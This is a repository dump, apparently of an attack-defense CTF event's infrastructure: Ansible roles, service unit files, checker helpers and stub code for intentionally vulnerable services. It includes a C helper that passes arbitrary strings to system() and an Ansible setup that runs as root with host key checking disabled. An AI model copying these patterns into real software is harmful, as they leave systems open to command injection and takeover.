%} 2 | 3 | {% block content %} 4 |

hello! {{name}}

5 | {% endblock %} 6 | -------------------------------------------------------------------------------- /services/crash/.gitignore: -------------------------------------------------------------------------------- 1 | reports/* 2 | reports/* 3 | *.pyc 4 | *.bak 5 | .idea 6 | static/lib/ 7 | static/js/atlantis.js 8 | static/css/atlantis.css 9 | -------------------------------------------------------------------------------- /checkers/atlablog/README.md: -------------------------------------------------------------------------------- 1 | # prepare 2 | 3 | docker build . -t pybase 4 | 5 | # run 6 | 7 | dockermain.py chack atlablog.team715.ructfe.org 8 | -------------------------------------------------------------------------------- /services/cartographer/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/cartographer/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /services/atlablog/README.md: -------------------------------------------------------------------------------- 1 | # how-to run 2 | 3 | pip install -r requirements.txt 4 | python3 main.py 5 | 6 | # run tests 7 | 8 | python3 -m pytest 9 | -------------------------------------------------------------------------------- /ansible/backuper.yaml: -------------------------------------------------------------------------------- 1 | - hosts: backuper 2 | roles: 3 | - common 4 | - backuper 5 | 6 | - hosts: cs-db 7 | roles: 8 | - common 9 | - backupable 10 | -------------------------------------------------------------------------------- /ansible/roles/dump/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: enable and restart dump 2 | shell: /bin/bash -c "/bin/systemctl enable dump@{0..767}; /bin/systemctl restart dump@{0..767}" 3 | -------------------------------------------------------------------------------- /ansible/roles/thebin/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: restart nginx 3 | service: name=nginx state=restarted 4 | 5 | - name: reload nginx 6 | service: name=nginx state=reloaded 7 | -------------------------------------------------------------------------------- /services/cartographer/src/main/resources/static/cartographer.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/cartographer/src/main/resources/static/cartographer.ico -------------------------------------------------------------------------------- /services/thebin/public.lua: -------------------------------------------------------------------------------- 1 | local ws = require 'ws' 2 | 3 | local module = {} 4 | 5 | function module.process() 6 | ws.process('publics') 7 | end 8 | 9 | return module 10 | -------------------------------------------------------------------------------- /ansible/roles/general_nginx/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: restart nginx 3 | service: name=nginx state=restarted 4 | 5 | - name: reload nginx 6 | service: name=nginx state=reloaded 7 | -------------------------------------------------------------------------------- /ansible/roles/nginx/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Install nginx 3 | apt: pkg={{ item }} default_release=testing 4 | with_items: 5 | - nginx-extras 6 | - rsync 7 | - sudo 8 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/crypto/KeyStorage.kt: -------------------------------------------------------------------------------- 1 | package cartographer.crypto 2 | 3 | import java.security.Key 4 | 5 | interface KeyStorage { 6 | fun get(): Key 7 | } -------------------------------------------------------------------------------- /static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2 -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond/collectors/MemoryCollector.conf: -------------------------------------------------------------------------------- 1 | enabled = True 2 | ttl_multiplier = 2 3 | path_suffix = "" 4 | measure_collector_time = True 5 | byte_unit = byte, 6 | -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond/collectors/VMStatCollector.conf: -------------------------------------------------------------------------------- 1 | enabled = True 2 | ttl_multiplier = 2 3 | path_suffix = "" 4 | measure_collector_time = False 5 | byte_unit = byte, 6 | -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond/collectors/ProcessStatCollector.conf: -------------------------------------------------------------------------------- 1 | enabled = True 2 | ttl_multiplier = 2 3 | path_suffix = "" 4 | measure_collector_time = False 5 | byte_unit = byte, 6 | -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond/collectors/SockstatCollector.conf: -------------------------------------------------------------------------------- 1 | enabled = True 2 | ttl_multiplier = 2 3 | path_suffix = "" 4 | measure_collector_time = False 5 | byte_unit = byte, 6 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/crypto/KeyGenerator.kt: -------------------------------------------------------------------------------- 1 | package cartographer.crypto 2 | 3 | import java.security.Key 4 | 5 | interface KeyGenerator { 6 | fun generate(): Key 7 | } -------------------------------------------------------------------------------- /ansible/roles/common/templates/60-internal_network.j2: -------------------------------------------------------------------------------- 1 | auto eth1 2 | iface eth1 inet static 3 | address {{private_addr}} 4 | netmask 255.255.255.0 5 | mtu 8880 6 | post-up /sbin/ethtool -K "$IFACE" tso off 7 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/settings/SettingsContainer.kt: -------------------------------------------------------------------------------- 1 | package cartographer.settings 2 | 3 | interface SettingsContainer { 4 | fun getSettingValue(key: String) : String? 5 | } -------------------------------------------------------------------------------- /services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /services/sapmarine/Sources/main.swift: -------------------------------------------------------------------------------- 1 | import Foundation 2 | import Kitura 3 | import SwiftyJSON 4 | 5 | let sapmarine = Sapmarine() 6 | sapmarine.Start(port: 31337); 7 | 8 | RunLoop.current.run() 9 | -------------------------------------------------------------------------------- /services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /ansible/roles/cs_flags/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: systemd configs 2 | template: src=flags@.service.j2 dest=/etc/systemd/system/flags@.service 3 | 4 | - name: systemd reload 5 | command: systemctl daemon-reload 6 | -------------------------------------------------------------------------------- /ansible/roles/lxc/templates/default.conf.j2: -------------------------------------------------------------------------------- 1 | lxc.start.auto = 1 2 | lxc.group = onboot 3 | lxc.network.type = veth 4 | lxc.network.link = lxcbr0 5 | lxc.network.flags = up 6 | lxc.network.hwaddr = 00:16:3e:xx:xx:xx 7 | -------------------------------------------------------------------------------- /services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/atlablog/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2 -------------------------------------------------------------------------------- /services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/sapmarine/static/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2 -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond/collectors/LoadAverageCollector.conf: -------------------------------------------------------------------------------- 1 | enabled = True 2 | ttl_multiplier = 2 3 | path_suffix = "" 4 | measure_collector_time = False 5 | byte_unit = byte, 6 | simple = False 7 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/throttling/Throttler.kt: -------------------------------------------------------------------------------- 1 | package cartographer.throttling 2 | 3 | interface Throttler { 4 | fun tryAcquireResource(): Boolean 5 | 6 | fun releaseResource() 7 | } -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/providers/DateTimeProvider.kt: -------------------------------------------------------------------------------- 1 | package cartographer.providers 2 | 3 | import java.time.ZonedDateTime 4 | 5 | interface DateTimeProvider { 6 | fun get(): ZonedDateTime 7 | } -------------------------------------------------------------------------------- /services/weather/httpserver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "types.h" 4 | #include "server.h" 5 | 6 | int32 wt_start_http_server(uint32 address, int32 port); 7 | 8 | void wt_http_process_client(const struct client *client); -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/crypto/KeyDeserializer.kt: -------------------------------------------------------------------------------- 1 | package cartographer.crypto 2 | 3 | import java.security.Key 4 | 5 | interface KeyDeserializer { 6 | fun deserialize(serialized: ByteArray): Key 7 | } -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/settings/RequiredSettingMissingException.kt: -------------------------------------------------------------------------------- 1 | package cartographer.settings 2 | 3 | class RequiredSettingMissingException(key: String) : Throwable("Required setting '$key' is missing") -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond/collectors/FilesCollector.conf: -------------------------------------------------------------------------------- 1 | enabled = True 2 | ttl_multiplier = 2 3 | path_suffix = "" 4 | measure_collector_time = True 5 | byte_unit = byte, 6 | dir = /tmp/diamond 7 | delete = True 8 | -------------------------------------------------------------------------------- /services/weather/logging.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | void wt_init_logging(const char *filename); 4 | 5 | void wt_log_info(const char *format, ...); 6 | void wt_log_warn(const char *format, ...); 7 | void wt_log_error(const char *format, ...); -------------------------------------------------------------------------------- /ansible/roles/logging_client/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: setup logging client 2 | copy: dest="/etc/rsyslog.d/60-remote.conf" content="*.* @10.10.10.10:5140;RSYSLOG_SyslogProtocol23Format" 3 | notify: restart rsyslog 4 | tags: logging-client 5 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/data/ChunkMetadata.kt: -------------------------------------------------------------------------------- 1 | package cartographer.data 2 | 3 | import com.fasterxml.jackson.annotation.JsonProperty 4 | 5 | data class ChunkMetadata(@JsonProperty("sessionKey") val sessionKey: ByteArray) -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/providers/ReplicasProvider.kt: -------------------------------------------------------------------------------- 1 | package cartographer.providers 2 | 3 | import cartographer.data.Replica 4 | 5 | interface ReplicasProvider { 6 | fun GetReplicas() : Collection 7 | } -------------------------------------------------------------------------------- /services/atlablog/users/__init__.py: -------------------------------------------------------------------------------- 1 | from .service import get_user_service, clear_user_services # noqa 2 | from .blueprint import bp as user_blueprint 3 | 4 | __all__ = ( 5 | 'get_user_service', 'clear_user_services', 'user_blueprint', 6 | ) 7 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/providers/AddressedProvider.kt: -------------------------------------------------------------------------------- 1 | package cartographer.providers 2 | 3 | import java.net.InetSocketAddress 4 | 5 | interface AddressedProvider { 6 | fun getAddresses() : List 7 | } -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond/collectors/CPUCollector.conf: -------------------------------------------------------------------------------- 1 | enabled = True 2 | ttl_multiplier = 2 3 | normalize = False 4 | measure_collector_time = True 5 | byte_unit = byte, 6 | simple = False 7 | percore = False 8 | path_suffix = "" 9 | -------------------------------------------------------------------------------- /ansible/roles/stretch/templates/apt_preferences.j2: -------------------------------------------------------------------------------- 1 | Package: * 2 | Pin: release a=stable 3 | Pin-Priority: 700 4 | 5 | Package: * 6 | Pin: release a=testing 7 | Pin-Priority: 650 8 | 9 | Package: * 10 | Pin: release a=unstable 11 | Pin-Priority: 600 -------------------------------------------------------------------------------- /services/atlablog/entries/__init__.py: -------------------------------------------------------------------------------- 1 | from .service import get_entry_service, clear_entry_services # noqa 2 | from .blueprint import bp as entry_blueprint 3 | 4 | __all__ = ( 5 | 'get_entry_service', 'clear_entry_services', 'entry_blueprint', 6 | ) 7 | -------------------------------------------------------------------------------- /ansible/roles/general_nginx/templates/service.conf.j2: -------------------------------------------------------------------------------- 1 | upstream {{ item.name }} { 2 | server {{ item.name }}.lxc:{{ item.remote_port | default(item.port) }}; 3 | } 4 | 5 | server { 6 | listen {{ item.port }}; 7 | proxy_pass {{ item.name }}; 8 | } 9 | -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond/collectors/UserScriptsCollector.conf: -------------------------------------------------------------------------------- 1 | enabled = True 2 | ttl_multiplier = 2 3 | path_suffix = "" 4 | measure_collector_time = False 5 | floatprecision = 4 6 | byte_unit = byte, 7 | scripts_path = /etc/diamond/user_scripts/ 8 | -------------------------------------------------------------------------------- /services/atlablog/sessions/__init__.py: -------------------------------------------------------------------------------- 1 | from .service import get_session_service, clear_session_services # noqa 2 | from .blueprint import bp as session_blueprint 3 | 4 | __all__ = ( 5 | 'get_session_service', 'clear_session_services', 'session_blueprint', 6 | ) 7 | -------------------------------------------------------------------------------- /checkers/crash/UserAgents.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | UserAgents = None 4 | 5 | def get(): 6 | global UserAgents 7 | if UserAgents is None: 8 | with open('user-agents') as fin: 9 | UserAgents = [line.strip() for line in fin] 10 | return random.choice(UserAgents) -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/data/Replica.kt: -------------------------------------------------------------------------------- 1 | package cartographer.data 2 | 3 | import com.fasterxml.jackson.annotation.JsonProperty 4 | import java.net.InetSocketAddress 5 | 6 | data class Replica(@JsonProperty("address") val address: InetSocketAddress) -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/settings/SettingsParseException.kt: -------------------------------------------------------------------------------- 1 | package cartographer.settings 2 | 3 | class SettingsParseException(key: String, valueString: String, ex: Throwable) 4 | : Exception("Could not parse setting '$key' with value $valueString", ex) -------------------------------------------------------------------------------- /services/crash/views/main_page.tpl: -------------------------------------------------------------------------------- 1 | % rebase('base.tpl', title='') 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
GUIDService nameSignatureTime
11 | -------------------------------------------------------------------------------- /services/weather/types.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "types.h" 5 | 6 | void wt_error(const char *message) 7 | { 8 | perror(message); 9 | exit(1); 10 | } 11 | 12 | void wt_system(const char *command) 13 | { 14 | system(command); 15 | } -------------------------------------------------------------------------------- /ansible/cs-flags.yaml: -------------------------------------------------------------------------------- 1 | - hosts: cs-flags 2 | roles: 3 | - common 4 | - { role: cs_common, tags: ['cs'] } 5 | - { role: cs_flags, tags: ['cs'] } 6 | - logging_client 7 | vars: 8 | cs_user: cs 9 | cs_dir: /home/cs 10 | cs_conf: c_s.conf.test.j2 11 | -------------------------------------------------------------------------------- /services/atlablog/_buisness_views/__init__.py: -------------------------------------------------------------------------------- 1 | USER_DB_NAME = None 2 | REDIRECT_AFTER_LOGIN = '/' 3 | REDIRECT_AFTER_LOGOUT = '/login' 4 | 5 | MEDIA_URL = '/media' 6 | 7 | BLOG_ENTRY_DB_NAME = 'blog' 8 | COMMENT_ENTRY_DB_NAME = 'comments' 9 | FILES_ENTRY_DB_NAME = 'files' 10 | -------------------------------------------------------------------------------- /services/weather/controlserver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "types.h" 4 | #include "server.h" 5 | 6 | int32 wt_start_control_server(uint32 address, int32 port); 7 | 8 | void wt_control_process_client(const struct client *client); 9 | 10 | void wt_update_forecast_data(); -------------------------------------------------------------------------------- /ansible/roles/dump/scripts/get_flagsubmit_traffic.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # A helper script to show realtime team data in wireshark 4 | # Uses ssh connection to traffic dump server 5 | 6 | filter="port 31337" 7 | ssh root@mon.a10 "tcpdump -U -i eth1 -w - -s 0 ${filter}" | wireshark -k -i - 8 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/storage/ChunkReplicator.kt: -------------------------------------------------------------------------------- 1 | package cartographer.storage 2 | 3 | import cartographer.data.Replica 4 | import java.util.* 5 | 6 | interface ChunkReplicator { 7 | fun replicate(id: UUID, chunk: ByteArray, replicas: Collection) 8 | } -------------------------------------------------------------------------------- /ansible/roles/crash/templates/service.j2: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Crash 3 | After=network.target 4 | 5 | [Service] 6 | ExecStart=/home/crash/crash_report.py 7 | User=crash 8 | Restart=always 9 | RestartSec=5 10 | WorkingDirectory=/home/crash/ 11 | 12 | [Install] 13 | WantedBy=multi-user.target 14 | -------------------------------------------------------------------------------- /services/atlablog/requirements.txt: -------------------------------------------------------------------------------- 1 | sanic==0.1.7 2 | aiohttp==1.0.5 3 | peewee-async==0.5.5 4 | aiopg==0.12.0 5 | aiocache==0.1.13 6 | jinja2==2.8 7 | wtforms==2.1 8 | 9 | # blog 10 | micawber==0.3.3 11 | markdown==2.6.7 12 | python-slugify==1.2.1 13 | beautifulsoup4==4.5.1 14 | 15 | pytest 16 | -------------------------------------------------------------------------------- /services/atlablog/settings.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | BASE_DIR = os.path.abspath(os.path.dirname(__name__)) 5 | TEMPLATES_DIR = os.path.join(BASE_DIR, 'templates') 6 | STATIC_DIR = os.path.join(BASE_DIR, 'static') 7 | DATA_DIR = os.path.join(BASE_DIR, '__data__') 8 | 9 | DATABASE = 'test' 10 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/crypto/Cryptography.kt: -------------------------------------------------------------------------------- 1 | package cartographer.crypto 2 | 3 | import java.security.Key 4 | 5 | interface Cryptography { 6 | fun encrypt(key: Key, plaintext: ByteArray): ByteArray 7 | 8 | fun decrypt(key: Key, ciphertext: ByteArray): ByteArray 9 | } -------------------------------------------------------------------------------- /ansible/roles/weather/templates/service.j2: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=weather 3 | After=network.target 4 | 5 | [Service] 6 | ExecStart=/home/weather/weather 7 | User=weather 8 | Restart=always 9 | RestartSec=5 10 | WorkingDirectory=/home/weather/ 11 | 12 | [Install] 13 | WantedBy=multi-user.target 14 | -------------------------------------------------------------------------------- /checkers/thebin/UserAgents.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import random 4 | 5 | UserAgents = None 6 | 7 | def get(): 8 | global UserAgents 9 | if UserAgents is None: 10 | with open('user-agents') as fin: 11 | UserAgents = [line.strip() for line in fin] 12 | return random.choice(UserAgents) -------------------------------------------------------------------------------- /services/weather/randrec.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | import random, string 4 | 5 | key = ''.join(random.choice(string.ascii_lowercase) for _ in range(12)) 6 | value = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(31)) + '=' 7 | 8 | print("\x01\x00\x00\x00" + key + value) -------------------------------------------------------------------------------- /ansible/roles/lxc/templates/lxc-net.j2: -------------------------------------------------------------------------------- 1 | USE_LXC_BRIDGE="true" 2 | LXC_BRIDGE="lxcbr0" 3 | LXC_ADDR="192.168.254.254" 4 | LXC_NETMASK="255.255.255.0" 5 | LXC_NETWORK="192.168.254.0/24" 6 | LXC_DHCP_RANGE="192.168.254.1,192.168.254.253" 7 | LXC_DHCP_MAX="253" 8 | LXC_DHCP_CONFILE="" 9 | LXC_DOMAIN="lxc" 10 | -------------------------------------------------------------------------------- /checkers/cartographer/UserAgents.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import random 4 | 5 | UserAgents = None 6 | 7 | def get(): 8 | global UserAgents 9 | if UserAgents is None: 10 | with open('user-agents') as fin: 11 | UserAgents = [line.strip() for line in fin] 12 | return random.choice(UserAgents) -------------------------------------------------------------------------------- /services/cartographer/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Sun Nov 06 21:21:44 YEKT 2016 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | distributionUrl=https\://services.gradle.org/distributions/gradle-3.1-bin.zip 7 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/data/SynchronizeTimeRequest.kt: -------------------------------------------------------------------------------- 1 | package cartographer.data 2 | 3 | import com.fasterxml.jackson.annotation.JsonProperty 4 | import java.time.ZonedDateTime 5 | 6 | data class SynchronizeTimeRequest(@JsonProperty("sendRequestTime") val sendRequestTime: ZonedDateTime) -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/providers/LatencyCalculator.kt: -------------------------------------------------------------------------------- 1 | package cartographer.providers 2 | 3 | import java.net.InetSocketAddress 4 | import java.time.Duration 5 | 6 | interface LatencyCalculator { 7 | fun CalcLatency(addr: InetSocketAddress, maxAllowedDuration: Duration): Long? 8 | } -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/settings/IntSetting.kt: -------------------------------------------------------------------------------- 1 | package cartographer.settings 2 | 3 | class IntSetting : Setting { 4 | constructor(key: String) : super(key, String::toInt) 5 | 6 | constructor(key: String, defaultValue: Int) : super(key, String::toInt, defaultValue) 7 | } 8 | 9 | -------------------------------------------------------------------------------- /ansible/roles/logging/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: enable and restart elasticsearch 2 | service: name=elasticsearch enabled=yes state=restarted 3 | 4 | - name: enable and restart graylog 5 | service: name=graylog-server enabled=yes state=restarted 6 | 7 | - name: restart nginx 8 | service: name=nginx state=restarted 9 | -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond/collectors/DiskSpaceCollector.conf: -------------------------------------------------------------------------------- 1 | enabled = True 2 | ttl_multiplier = 2 3 | path_suffix = "" 4 | measure_collector_time = False 5 | exclude_filters = ^/export/home, 6 | byte_unit = byte, 7 | filesystems = "ext2, ext3, ext4, xfs, glusterfs, nfs, ntfs, hfs, fat32, fat16, btrfs" 8 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/settings/StringSetting.kt: -------------------------------------------------------------------------------- 1 | package cartographer.settings 2 | 3 | class StringSetting : Setting { 4 | constructor(key: String) : super(key, { str -> str }) 5 | 6 | constructor(key: String, defaultValue: String) : super(key, { str -> str }, defaultValue) 7 | } -------------------------------------------------------------------------------- /ansible/roles/stretch/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Stretch | Packages | Add testing repo 3 | apt_repository: repo='deb http://mirror.yandex.ru/debian stretch main' update_cache=yes 4 | 5 | - name: Stretch | Packages | Fix testing priority 6 | become: yes 7 | template: src=apt_preferences.j2 dest=/etc/apt/preferences 8 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/settings/DoubleSetting.kt: -------------------------------------------------------------------------------- 1 | package cartographer.settings 2 | 3 | class DoubleSetting : Setting { 4 | constructor(key: String) : super(key, String::toDouble) 5 | 6 | constructor(key: String, defaultValue: Double) : super(key, String::toDouble, defaultValue) 7 | } -------------------------------------------------------------------------------- /ansible/roles/sapmarine/templates/service.j2: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Sapmarine 3 | After=network.target 4 | 5 | [Service] 6 | ExecStart=/home/sapmarine/bin/release/sapmarine 7 | User=sapmarine 8 | Restart=always 9 | RestartSec=5 10 | WorkingDirectory=/home/sapmarine/ 11 | 12 | [Install] 13 | WantedBy=multi-user.target 14 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/snat/del_snat_rules.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # removes rules for teams snat 3 | # this script shouldn't be run normally :) 4 | 5 | for num in {0..767}; do 6 | ip="10.$((80 + num / 256)).$((num % 256)).1" 7 | 8 | iptables -t nat -D POSTROUTING -o team${num} -j SNAT --to-source ${ip} 9 | done 10 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/storage/ChunkStorage.kt: -------------------------------------------------------------------------------- 1 | package cartographer.storage 2 | 3 | import java.util.* 4 | 5 | interface ChunkStorage { 6 | fun getChunk(id: UUID): ByteArray? 7 | 8 | fun getRecentChunks(): Collection 9 | 10 | fun putChunk(id: UUID, chunk: ByteArray): Boolean 11 | } -------------------------------------------------------------------------------- /ansible/roles/atlablog/templates/service.j2: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=atlablog 3 | After=network.target 4 | 5 | [Service] 6 | ExecStart=/home/atlablog/venv/bin/python /home/atlablog/main.py 7 | User=atlablog 8 | Restart=always 9 | RestartSec=5 10 | WorkingDirectory=/home/atlablog/ 11 | 12 | [Install] 13 | WantedBy=multi-user.target 14 | -------------------------------------------------------------------------------- /ansible/roles/cartographer/templates/service.j2: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=cartographer 3 | After=network.target 4 | 5 | [Service] 6 | ExecStart=/usr/bin/java -jar cartographer.jar 7 | User=cartographer 8 | Restart=always 9 | RestartSec=5 10 | WorkingDirectory=/home/cartographer/ 11 | 12 | [Install] 13 | WantedBy=multi-user.target 14 | -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond/collectors/DiskUsageCollector.conf: -------------------------------------------------------------------------------- 1 | enabled = True 2 | ttl_multiplier = 2 3 | sector_size = 512 4 | measure_collector_time = False 5 | byte_unit = byte, 6 | send_zero = False 7 | devices = PhysicalDrive[0-9]+$|md[0-9]+$|sd[a-z]+[0-9]*$|x?vd[a-z]+[0-9]*$|disk[0-9]+$|dm\-[0-9]+$ 8 | path_suffix = "" 9 | -------------------------------------------------------------------------------- /ansible/ansible.cfg: -------------------------------------------------------------------------------- 1 | [defaults] 2 | forks = 32 3 | inventory = inventory.cfg 4 | log_path = .log/ansible.log 5 | gathering = explicit 6 | pipelining = True 7 | remote_user = root 8 | nocows = 1 9 | host_key_checking = False 10 | callback_whitelist = profile_tasks 11 | 12 | #[privilege_escalation] 13 | #become = yes 14 | -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond/collectors/ConnTrackCollector.conf: -------------------------------------------------------------------------------- 1 | enabled = True 2 | files = "ip_conntrack_count,ip_conntrack_max,nf_conntrack_count,nf_conntrack_max" 3 | ttl_multiplier = 2 4 | measure_collector_time = False 5 | byte_unit = byte, 6 | path_suffix = "" 7 | dir = "/proc/sys/net/ipv4/netfilter,/proc/sys/net/netfilter" 8 | -------------------------------------------------------------------------------- /services/weather/entrypoint.c: -------------------------------------------------------------------------------- 1 | #include "dispatcher.h" 2 | #include "controlserver.h" 3 | #include "storage.h" 4 | #include "logging.h" 5 | #include "types.h" 6 | 7 | int32 main() 8 | { 9 | wt_init_logging("weather.log"); 10 | wt_init_storage("weather.db"); 11 | 12 | wt_update_forecast_data(); 13 | 14 | wt_run_dispatcher(); 15 | } 16 | -------------------------------------------------------------------------------- /ansible/cs-checker.yaml: -------------------------------------------------------------------------------- 1 | - hosts: chk2.a5,chk3.a6,chk4.a7,chk6.a9,chk5.b8,chk6.b9 2 | roles: 3 | - common 4 | - monitoring_client 5 | - { role: cs_common, tags: ['cs'] } 6 | - { role: cs_checker, tags: ['cs'] } 7 | - logging_client 8 | vars: 9 | cs_user: cs 10 | cs_dir: /home/cs 11 | cs_conf: c_s.conf.test.j2 12 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/crypto/ChunkCryptography.kt: -------------------------------------------------------------------------------- 1 | package cartographer.crypto 2 | 3 | import java.security.Key 4 | 5 | interface ChunkCryptography { 6 | fun encrypt(sessionKey: Key, masterKey: Key, plaintext: ByteArray): ByteArray 7 | 8 | fun decrypt(sessionKey: Key, masterKey: Key, ciphertext: ByteArray): ByteArray 9 | } -------------------------------------------------------------------------------- /ansible/cs-master.yaml: -------------------------------------------------------------------------------- 1 | - hosts: cs-master 2 | roles: 3 | - common 4 | - monitoring_client 5 | - { role: cs_common, tags: ['cs'] } 6 | - { role: cs_master, tags: ['cs'] } 7 | - { role: cs_checker, tags: ['cs'] } 8 | - logging_client 9 | vars: 10 | cs_user: cs 11 | cs_dir: /home/cs 12 | cs_conf: c_s.conf.test.j2 13 | -------------------------------------------------------------------------------- 